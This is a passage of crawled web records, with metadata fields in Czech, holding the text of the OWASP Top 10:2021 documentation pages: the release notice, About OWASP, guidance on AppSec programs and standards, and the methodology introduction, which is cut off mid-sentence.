pessoas abaixo, as quais contribuíram publicamente \nno GitHub ou por outros meios:\n\n247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8,\nd0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês\nMartins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB,\nllegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan\nPiyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj,\nwenz, xplo1t-sec, Yaniv Balmas, ynvb", "znaku_textu": 591, "slov": 73, "odkazu": 58, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 00:39:11", "sha256": "5bcbfbdba9a38bfbe3a0d95addf6419cf850f397394a409d09fc26b2b514a7bc", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/API-Security", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/", "titulek": "OWASP Top 10", "h1": "", "popis": "", "klicova_slova": "", "kanonicka": "./2025/en/", "jazyk": "", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [], "markdown": "Redirecting to OWASP Top 10:2025. If not redirected, [click here](./2025/en/).", "znaku_textu": 78, "slov": 10, "odkazu": 1, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:47", "sha256": "cf318bf6e49239cd034bdfcdf41ca87eab4036c34f8991be2d2a24e52647a12b", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": []} {"url": "https://owasp.org/Top10/2021/", "titulek": "OWASP Top 10:2021", "h1": "OWASP Top 10:2021", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2021"}, {"uroven": 2, "text": "Getting Started"}, {"uroven": 3, "text": "The Top 10:2021 List"}], "markdown": "# OWASP Top 10:2021\n\nWelcome to the OWASP Top 10:2021 documentation.\n\nThe OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications.\n\n## Getting Started\n\nStart with the [Introduction](A00_2021_Introduction/) to learn about the OWASP Top 10:2021.\n\nUse the navigation menu on the left to explore:\n- [Introduction](A00_2021_Introduction/)\n- [Notice](0x00_2021-notice/)\n- [How to use the OWASP Top 10 as a standard](A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/)\n- [How to start an AppSec program with the OWASP Top 10](A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/)\n- [About OWASP](0x01_2021-about-owasp/)\n\n### The Top 10:2021 List\n\n1. [A01 Broken Access Control](A01_2021-Broken_Access_Control/)\n2. [A02 Cryptographic Failures](A02_2021-Cryptographic_Failures/)\n3. [A03 Injection](A03_2021-Injection/)\n4. [A04 Insecure Design](A04_2021-Insecure_Design/)\n5. [A05 Security Misconfiguration](A05_2021-Security_Misconfiguration/)\n6. [A06 Vulnerable and Outdated Components](A06_2021-Vulnerable_and_Outdated_Components/)\n7. [A07 Identification and Authentication Failures](A07_2021-Identification_and_Authentication_Failures/)\n8. [A08 Software and Data Integrity Failures](A08_2021-Software_and_Data_Integrity_Failures/)\n9. [A09 Security Logging and Monitoring Failures](A09_2021-Security_Logging_and_Monitoring_Failures/)\n10. [A10 Server Side Request Forgery (SSRF)](A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)\n\n---\n\n**Looking for the 2025 Release Candidate?** Visit [https://owasp.org/Top10/2025/](https://owasp.org/Top10/2025/)", "znaku_textu": 1650, "slov": 166, "odkazu": 37, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:49", "sha256": "c1f4fffd562ec6da8f603f61e0789860b54cab49b656151cbd263da7c969b127", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/0x00_2021-notice/", "titulek": "Notice - OWASP Top 10:2021", "h1": "Release", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/0x00_2021-notice/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Release"}, {"uroven": 2, "text": "Lead Authors"}, {"uroven": 2, "text": "Contributors"}, {"uroven": 2, "text": "How you can help"}, {"uroven": 2, "text": "Log issues and pull requests"}], "markdown": "# Release\n\nOriginally released 24th September 2021, v1.1 released 13 July 2025.\n\n## Lead Authors\n\n- [Andrew van der Stock](/cdn-cgi/l/email-protection#92e4f3fcf6f7e0f3f8d2fde5f3e1e2bcfde0f5) (twitter: [@vanderaj](https://x.com/vanderaj) )\n- [Brian Glas](/cdn-cgi/l/email-protection#f694849f9798d8919a9785b69981978586d8998491) (twitter: [@infosecdad](https://x.com/infosecdad) )\n- [Neil Smithline](/cdn-cgi/l/email-protection#6709020e0b49140a0e130f0b0e090227081006141749081500) (twitter: [@appsecneil](https://x.com/appsecneil) )\n- [Torsten Gigler](/cdn-cgi/l/email-protection#e3978c919097868dcd848a848f8691a38c94829093cd8c9184) (twitter: [@torsten_tweet](https://x.com/torsten_tweet) )\n\n## Contributors\n\n- Orange Tsai [@orange_8361](https://x.com/orange_8361) , Author of A10-2021: Server Side Request Forgery\n- Jim Manico [@manicode](https://x.com/manicode) and Jakub Maćkowski [@kubamackowski](https://x.com/kubamackowski) - OWASP CheatSheets Coordination\n\n## How you can help\n\nAt this stage, we are asking for\n\n- Data scientists - please peer review our analysis\n- Web designers - we need to make a mobile friendly version\n- Translators - please review the English text to make sure it's translatable\n- ASVS, Testing Guide, and Code Review Guide leadership - please use our data and help us link our documents and standards together\n\n## Log issues and pull requests\n\nPlease log any corrections or issues:\n\n- [https://github.com/OWASP/Top10/issues](https://github.com/OWASP/Top10/issues)", "znaku_textu": 1448, "slov": 142, "odkazu": 48, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:49", "sha256": "161d5a7b727e7a4ea426698d87e2c6c496aa53f15986b845a44aabeb91e6947d", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/torsten_tweet", "https://x.com/orange_8361", "https://x.com/manicode", "https://x.com/kubamackowski", "https://github.com/OWASP/Top10/issues", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/0x01_2021-about-owasp/", "titulek": "About OWASP - OWASP Top 10:2021", "h1": "About OWASP", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/0x01_2021-about-owasp/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "About OWASP"}, {"uroven": 2, "text": "Copyright and License"}], "markdown": "# About OWASP\n\nThe Open Worldwide Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications and APIs that can be trusted.\n\nAt OWASP, you'll find free and open:\n\n- Application security tools and standards\n- Cutting edge research\n- Standard security controls and libraries\n- Complete books on application security testing, secure code development, and secure code review\n- Presentations and [videos](https://www.youtube.com/user/OWASPGLOBAL)\n- [Cheat sheets](https://cheatsheetseries.owasp.org/) on many common topics\n- [Chapters meetings](https://owasp.org/chapters/)\n- [Events, training, and conferences](https://owasp.org/events/) .\n- [Google Groups](https://groups.google.com/g/owasp) Learn more at: [https://owasp.org](https://owasp.org) .\n\nAll OWASP tools, documents, videos, presentations, and chapters are free and open to anyone interested in improving application security.\n\nWe advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in these areas.\n\nOWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, and cost-effective information about application security.\n\nOWASP is not affiliated with any technology company, although we support the informed use of commercial security technology. OWASP produces many types of materials in a collaborative, transparent, and open way.\n\nThe OWASP Foundation is the non-profit entity that ensures the project's long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP board, chapter leaders, project leaders, and project members. We support innovative security research with grants and infrastructure.\n\nCome join us!\n\n## Copyright and License\n\nCopyright Š 2003-2025 The OWASP® Foundation, Inc. This document is released under the Creative Commons Attribution Share-Alike 4.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.", "znaku_textu": 2101, "slov": 273, "odkazu": 39, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:52", "sha256": "fef00946f6cbd7516d9ed28d43b3752dce4f6494252267cbdda9cdd61db4a4da", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://www.youtube.com/user/OWASPGLOBAL", "https://cheatsheetseries.owasp.org/", "https://groups.google.com/g/owasp", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/", "titulek": "How to start an AppSec program with the OWASP Top 10 - OWASP Top 10:2021", "h1": "How to start an AppSec Program with the OWASP Top 10", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A00_2021-How_to_start_an_AppSec_program_with_the_OWASP_Top_10/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "How to start an AppSec Program with the OWASP Top 10"}, {"uroven": 2, "text": "Stage 1. Identify the gaps and goals of your appsec program"}, {"uroven": 2, "text": "Stage 2. Plan for a paved road secure development lifecycle"}, {"uroven": 2, "text": "Stage 3. Implement the paved road with your development teams"}, {"uroven": 2, "text": "Stage 4. Migrate all upcoming and existing applications to the paved road"}, {"uroven": 2, "text": "Stage 5. Test that the paved road has mitigated the issues found in the OWASP Top 10"}, {"uroven": 2, "text": "Stage 6. Build your program into a mature AppSec program"}, {"uroven": 2, "text": "Going beyond"}], "markdown": "# How to start an AppSec Program with the OWASP Top 10\n\nPreviously, the OWASP Top 10 was never designed to be the basis for an\nAppSec program. However, it's essential to start somewhere for many\norganizations just starting out on their application security journey.\nThe OWASP Top 10 2021 is a good start as a baseline for checklists and\nso on, but it's not in itself sufficient.\n\n## Stage 1. Identify the gaps and goals of your appsec program\n\nMany Application Security (AppSec) programs try to run before they can\ncrawl or walk. These efforts are doomed to failure. We strongly\nencourage CISOs and AppSec leadership to use [OWASP Software Assurance\nMaturity Model (SAMM)](https://owaspsamm.org) to identify weaknesses\nand areas for improvement over a 1-3 year period. The first step is to\nevaluate where you are now, identify the gaps in governance, design,\nimplementation, verification, and operations you need to resolve\nimmediately versus those that can wait, and prioritize implementing or\nimproving the fifteen OWASP SAMM security practices. OWASP SAMM can help\nyou build and measure improvements in your software assurance efforts.\n\n## Stage 2. Plan for a paved road secure development lifecycle\n\nTraditionally the preserve of so-called \"unicorns\", the paved road\nconcept is the easiest way to make the most impact and scale AppSec\nresources with development team velocity, which only increases every\nyear.\n\nThe paved road concept is \"the easiest way is also the most secure way\"\nand should involve a culture of deep partnerships between the\ndevelopment team and the security team, preferably such that they are\none and the same team. The paved road aims to continuously improve,\nmeasure, detect and replace insecure alternatives by having an\nenterprise-wide library of drop-in secured replacements, with tooling to\nhelp see where improvements can be made by adopting the paved road. This\nallows existing development tools to report on insecure builds and help\ndevelopment teams self-correct away from insecure alternatives.\n\nThe paved road might seem a lot to take in, but it should be built\nincrementally over time. There are other forms of appsec programs out\nthere, notably the Microsoft Agile Secure Development Lifecycle. Not\nevery appsec program methodology suits every business.\n\n## Stage 3. Implement the paved road with your development teams\n\nPaved roads are built with the consent and direct involvement of the\nrelevant development and operations teams. The paved road should be\naligned strategically with the business and help deliver more secure\napplications faster. Developing the paved road should be a holistic\nexercise covering the entire enterprise or application ecosystem, not a\nper-app band-aid, as in the old days.\n\n## Stage 4. Migrate all upcoming and existing applications to the paved road\n\nAdd paved road detection tools as you develop them and provide\ninformation to development teams to improve the security of their\napplications by how they can directly adopt elements of the paved road.\nOnce an aspect of the paved road has been adopted, organizations should\nimplement continuous integration checks that inspect existing code and\ncheck-ins that use prohibited alternatives and warn or reject the build\nor check-in. This prevents insecure options from creeping into code over\ntime, preventing technical debt and a defective insecure application.\nSuch warnings should link to the secure alternative, so the development\nteam is given the correct answer immediately. They can refactor and\nadopt the paved road component quickly.\n\n## Stage 5. Test that the paved road has mitigated the issues found in the OWASP Top 10\n\nPaved road components should address a significant issue with the OWASP\nTop 10, for example, how to automatically detect or fix vulnerable\ncomponents, or a static code analysis IDE plugin to detect injections or\neven better start using a library that is known safe against injection.\nThe more of these secure drop-in replacements provided to teams, the better.\nA vital task of the appsec team is to ensure that the security of these\ncomponents is continuously evaluated and improved.\nOnce they are improved, some form of communication pathway with\nconsumers of the component should indicate that an upgrade should occur,\npreferably automatically, but if not, at least highlighted on a\ndashboard or similar.\n\n## Stage 6. Build your program into a mature AppSec program\n\nYou must not stop at the OWASP Top 10. It only covers 10 risk\ncategories. We strongly encourage organizations to adopt the Application\nSecurity Verification Standard and progressively add paved road\ncomponents and tests for Level 1, 2, and 3, depending on the developed\napplications' risk level.\n\n## Going beyond\n\nAll great AppSec programs go beyond the bare minimum. Everyone must keep\ngoing if we're ever going to get on top of appsec vulnerabilities.\n\n- **Conceptual integrity**. Mature AppSec programs must contain some\n concept of security architecture, whether a formal cloud or\n enterprise security architecture or threat modeling\n- **Automation and scale**. Mature AppSec programs try to automate as\n much of their deliverables as possible, using scripts to emulate\n complex penetration testing steps, static code analysis tools\n directly available to the development teams, assisting dev teams in\n building appsec unit and integration tests, and more.\n- **Culture**. Mature AppSec programs try to build out the insecure\n design and eliminate the technical debt of existing code by being a\n part of the development team and not to the side. AppSec teams who\n see development teams as \"us\" and \"them\" are doomed to failure.\n- **Continuous improvement**. Mature AppSec programs look to\n constantly improve. If something is not working, stop doing it. If\n something is clunky or not scalable, work to improve it. If\n something is not being used by the development teams and has no or\n limited impact, do something different. Just because we've done\n testing like desk checks since the 1970s doesn't mean it's a good\n idea. Measure, evaluate, and then build or improve.", "znaku_textu": 6045, "slov": 967, "odkazu": 40, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:51", "sha256": "34ddc6ec12272b19db44ec26d32439529336d803cfd789b895291b5f6ce6153a", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/", "titulek": "How to use the OWASP Top 10 as a standard - OWASP Top 10:2021", "h1": "How to use the OWASP Top 10 as a standard", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A00_2021_How_to_use_the_OWASP_Top_10_as_a_standard/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "How to use the OWASP Top 10 as a standard"}], "markdown": "# How to use the OWASP Top 10 as a standard\n\nThe OWASP Top 10 is primarily an awareness document. However, this has\nnot stopped organizations from using it as a de facto industry AppSec\nstandard since its inception in 2003. If you want to use the OWASP Top\n10 as a coding or testing standard, know that it is the bare minimum and\njust a starting point.\n\nOne of the difficulties of using the OWASP Top 10 as a standard is that\nwe document AppSec risks, and not necessarily easily testable issues.\nFor example, A04:2021-Insecure Design is beyond the scope of most forms\nof testing. Another example is testing whether in-place, in-use, and effective\nlogging and monitoring are implemented, which can only be done with interviews and requesting a\nsampling of effective incident responses. A static code analysis tool\ncan look for the absence of logging, but it might be impossible to\ndetermine if business logic or access control is logging critical\nsecurity breaches. Penetration testers may only be able to determine\nthat they have invoked incident response in a test environment, which\nis rarely monitored in the same way as production.\n\nHere are our recommendations for when it is appropriate to use the OWASP\nTop 10:\n\n| Use Case | OWASP Top 10 2021 | OWASP Application Security Verification Standard |\n| --- | --- | --- |\n| Awareness | Yes | |\n| Training | Entry level | Comprehensive |\n| Design and architecture | Occasionally | Yes |\n| Coding standard | Bare minimum | Yes |\n| Secure Code review | Bare minimum | Yes |\n| Peer review checklist | Bare minimum | Yes |\n| Unit testing | Occasionally | Yes |\n| Integration testing | Occasionally | Yes |\n| Penetration testing | Bare minimum | Yes |\n| Tool support | Bare minimum | Yes |\n| Secure Supply Chain | Occasionally | Yes |\n\nWe would encourage anyone wanting to adopt an application security\nstandard to use the [OWASP Application Security Verification Standard](https://owasp.org/www-project-application-security-verification-standard/)\n(ASVS), as it’s designed to be verifiable and tested, and can be used in\nall parts of a secure development lifecycle.\n\nThe ASVS is the only acceptable choice for tool vendors. Tools cannot\ncomprehensively detect, test, or protect against the OWASP Top 10 due to\nthe nature of several of the OWASP Top 10 risks, with reference to\nA04:2021-Insecure Design. OWASP discourages any claims of full coverage\nof the OWASP Top 10, because it’s simply untrue.", "znaku_textu": 2349, "slov": 373, "odkazu": 33, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:54:50", "sha256": "bc13f40028cf631918ca65f6cad5db5ecb20c0f8944361d1dccdcfae0b52f621", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2021/A00_2021_Introduction/", "titulek": "Introduction - OWASP Top 10:2021", "h1": "Introduction", "popis": "OWASP Top 10:2021", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2021/A00_2021_Introduction/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "Welcome to the OWASP Top 10 - 2021"}, {"uroven": 2, "text": "What's changed in the Top 10 for 2021"}, {"uroven": 2, "text": "Methodology"}, {"uroven": 2, "text": "How the categories are structured"}, {"uroven": 2, "text": "How the data is used for selecting categories"}, {"uroven": 2, "text": "Why not just pure statistical data?"}, {"uroven": 2, "text": "Why incidence rate instead of frequency?"}, {"uroven": 2, "text": "What is your data collection and analysis process?"}, {"uroven": 2, "text": "Data Factors"}, {"uroven": 2, "text": "Thank you to our data contributors"}, {"uroven": 2, "text": "Thank you to our sponsors"}], "markdown": "# Introduction\n\n## Welcome to the OWASP Top 10 - 2021\n\nWelcome to the latest installment of the OWASP Top 10! The OWASP Top 10 2021 is all-new, with a new graphic design and an available one-page infographic you can print or obtain from our home page.\n\nA huge thank you to everyone that contributed their time and data for this iteration. Without you, this installment would not happen. **THANK YOU!**\n\n## What's changed in the Top 10 for 2021\n\nThere are three new categories, four categories with naming and scoping changes, and some consolidation in the Top 10 for 2021. We've changed names when necessary to focus on the root cause over the symptom.\n\n- **[A01:2021-Broken Access Control](../A01_2021-Broken_Access_Control/)** moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category.\n- **[A02:2021-Cryptographic Failures](../A02_2021-Cryptographic_Failures/)** shifts up one position to #2, previously known as **A3:2017-Sensitive Data Exposure** , which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise.\n- **[A03:2021-Injection](../A03_2021-Injection/)** slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition.\n- **[A04:2021-Insecure Design](../A04_2021-Insecure_Design/)** is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks.\n- **[A05:2021-Security Misconfiguration](../A05_2021-Security_Misconfiguration/)** moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for **A4:2017-XML External Entities (XXE)** is now part of this risk category.\n- **[A06:2021-Vulnerable and Outdated Components](../A06_2021-Vulnerable_and_Outdated_Components/)** was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores.\n- **[A07:2021-Identification and Authentication Failures](../A07_2021-Identification_and_Authentication_Failures/)** was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping.\n- **[A08:2021-Software and Data Integrity Failures](../A08_2021-Software_and_Data_Integrity_Failures/)** is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. **A8:2017-Insecure Deserialization** is now a part of this larger category.\n- **[A09:2021-Security Logging and Monitoring Failures](../A09_2021-Security_Logging_and_Monitoring_Failures/)** was previously **A10:2017-Insufficient Logging & Monitoring** and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics.\n- **[A10:2021-Server-Side Request Forgery](../A10_2021-Server-Side_Request_Forgery_%28SSRF%29/)** is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time.\n\n## Methodology\n\nThis installment of the Top 10 is more data-driven than ever but not blindly data-driven. We selected eight of the ten categories from contributed data and two categories from the Top 10 community survey at a high level. We do this for a fundamental reason, looking at the contributed data is looking into the past. AppSec researchers take time to find new vulnerabilities and new ways to test for them. It takes time to integrate these tests into tools and processes. By the time we can reliably test a weakness at scale, years have likely passed. To balance that view, we use a community survey to ask application security and development experts on the front lines what they see as essential weaknesses that the data may not show yet.\n\nThere are a few critical changes that we adopted to continue to mature the Top 10.\n\n## How the categories are structured\n\nA few categories have changed from the previous installment of the OWASP Top Ten. Here is a high-level summary of the category changes.\n\nPrevious data collection efforts were focused on a prescribed subset of approximately 30 CWEs with a field asking for additional findings. We learned that organizations would primarily focus on just those 30 CWEs and rarely add additional CWEs that they saw. In this iteration, we opened it up and just asked for data, with no restriction on CWEs. We asked for the number of applications tested for a given year (starting in 2017), and the number of applications with at least one instance of a CWE found in testing. This format allows us to track how prevalent each CWE is within the population of applications. We ignore frequency for our purposes; while it may be necessary for other situations, it only hides the actual prevalence in the application population. Whether an application has four instances of a CWE or 4,000 instances is not part of the calculation for the Top 10. We went from approximately 30 CWEs to almost 400 CWEs to analyze in the dataset. We plan to do additional data analysis as a supplement in the future. This significant increase in the number of CWEs necessitates changes to how the categories are structured.\n\nWe spent several months grouping and categorizing CWEs and could have continued for additional months. We had to stop at some point. There are both *root cause* and *symptom* types of CWEs, where *root cause* types are like \"Cryptographic Failure\" and \"Misconfiguration\" contrasted to *symptom* types like \"Sensitive Data Exposure\" and \"Denial of Service.\" We decided to focus on the *root cause* whenever possible as it's more logical for providing identification and remediation guidance. Focusing on the *root cause* over the *symptom* isn't a new concept; the Top Ten has been a mix of *symptom* and *root cause*. CWEs are also a mix of *symptom* and *root cause*; we are simply being more deliberate about it and calling it out. There is an average of 19.6 CWEs per category in this installment, with the lower bounds at 1 CWE for **A10:2021-Server-Side Request Forgery (SSRF)** to 40 CWEs in **A04:2021-Insecure Design**. This updated category structure offers additional training benefits as companies can focus on CWEs that make sense for a language/framework.\n\n## How the data is used for selecting categories\n\nIn 2017, we selected categories by incidence rate to determine likelihood, then ranked them by team discussion based on decades of experience for *Exploitability*, *Detectability* (also *likelihood*), and *Technical Impact*. For 2021, we want to use data for *Exploitability* and *(Technical) Impact* if possible.\n\nWe downloaded OWASP Dependency Check and extracted the CVSS Exploit, and Impact scores grouped by related CWEs. It took a fair bit of research and effort as all the CVEs have CVSSv2 scores, but there are flaws in CVSSv2 that CVSSv3 should address. After a certain point in time, all CVEs are assigned a CVSSv3 score as well. Additionally, the scoring ranges and formulas were updated between CVSSv2 and CVSSv3.\n\nIn CVSSv2, both *Exploit* and *(Technical) Impact* could be up to 10.0, but the formula would knock them down to 60% for *Exploit* and 40% for *Impact*. In CVSSv3, the theoretical max was limited to 6.0 for *Exploit* and 4.0 for *Impact*. With the weighting considered, the Impact scoring shifted higher, almost a point and a half on average in CVSSv3, and exploitability moved nearly half a point lower on average.\n\nThere are 125k records of a CVE mapped to a CWE in the National Vulnerability Database (NVD) data extracted from OWASP Dependency Check, and there are 241 unique CWEs mapped to a CVE. 62k CWE maps have a CVSSv3 score, which is approximately half of the population in the data set.\n\nFor the Top Ten 2021, we calculated average *exploit* and *impact* scores in the following manner. We grouped all the CVEs with CVSS scores by CWE and weighted both *exploit* and *impact* scored by the percentage of the population that had CVSSv3 + the remaining population of CVSSv2 scores to get an overall average. We mapped these averages to the CWEs in the dataset to use as *Exploit* and *(Technical) Impact* scoring for the other half of the risk equation.\n\n## Why not just pure statistical data?\n\nThe results in the data are primarily limited to what we can test for in an automated fashion. Talk to a seasoned AppSec professional, and they will tell you about stuff they find and trends they see that aren't yet in the data. It takes time for people to develop testing methodologies for certain vulnerability types and then more time for those tests to be automated and run against a large population of applications. Everything we find is looking back in the past and might be missing trends from the last year, which are not present in the data.\n\nTherefore, we only pick eight of ten categories from the data because it's incomplete. The other two categories are from the Top 10 community survey. It allows the practitioners on the front lines to vote for what they see as the highest risks that might not be in the data (and may never be expressed in data).\n\n## Why incidence rate instead of frequency?\n\nThere are three primary sources of data. We identify them as Human-assisted Tooling (HaT), Tool-assisted Human (TaH), and raw Tooling.\n\nTooling and HaT are high-frequency finding generators. Tools will look for specific vulnerabilities and tirelessly attempt to find every instance of that vulnerability and will generate high finding counts for some vulnerability types. Look at Cross-Site Scripting, which is typically one of two flavors: it's either a more minor, isolated mistake or a systemic issue. When it's a systemic issue, the finding counts can be in the thousands for a single application. This high frequency drowns out most other vulnerabilities found in reports or data.\n\nTaH, on the other hand, will find a broader range of vulnerability types but at a much lower frequency due to time constraints. When humans test an application and see something like Cross-Site Scripting, they will typically find three or four instances and stop. They can determine a systemic finding and write it up with a recommendation to fix on an application-wide scale. There is no need (or time) to find every instance.\n\nSuppose we take these two distinct data sets and try to merge them on frequency. In that case, the Tooling and HaT data will drown the more accurate (but broad) TaH data and is a good part of why something like Cross-Site Scripting has been so highly ranked in many lists when the impact is generally low to moderate. It's because of the sheer volume of findings. (Cross-Site Scripting is also reasonably easy to test for, so there are many more tests for it as well).\n\nIn 2017, we introduced using incidence rate instead to take a fresh look at the data and cleanly merge Tooling and HaT data with TaH data. The incidence rate asks what percentage of the application population had at least one instance of a vulnerability type. We don't care if it was one-off or systemic. That's irrelevant for our purposes; we just need to know how many applications had at least one instance, which helps provide a clearer view of the testing is findings across multiple testing types without drowning the data in high-frequency results. This corresponds to a risk related view as an attacker needs only one instance to attack an application successfully via the category.\n\n## What is your data collection and analysis process?\n\nWe formalized the OWASP Top 10 data collection process at the Open Security Summit in 2017. OWASP Top 10 leaders and the community spent two days working out formalizing a transparent data collection process. The 2021 edition is the second time we have used this methodology.\n\nWe publish a call for data through social media channels available to us, both project and OWASP. On the OWASP Project page, we list the data elements and structure we are looking for and how to submit them. In the GitHub project, we have example files that serve as templates. We work with organizations as needed to help figure out the structure and mapping to CWEs.\n\nWe get data from organizations that are testing vendors by trade, bug bounty vendors, and organizations that contribute internal testing data. Once we have the data, we load it together and run a fundamental analysis of what CWEs map to risk categories. There is overlap between some CWEs, and others are very closely related (ex. Cryptographic vulnerabilities). Any decisions related to the raw data submitted are documented and published to be open and transparent with how we normalized the data.\n\nWe look at the eight categories with the highest incidence rates for inclusion in the Top 10. We also look at the Top 10 community survey results to see which ones may already be present in the data. The top two votes that aren't already present in the data will be selected for the other two places in the Top 10. Once all ten were selected, we 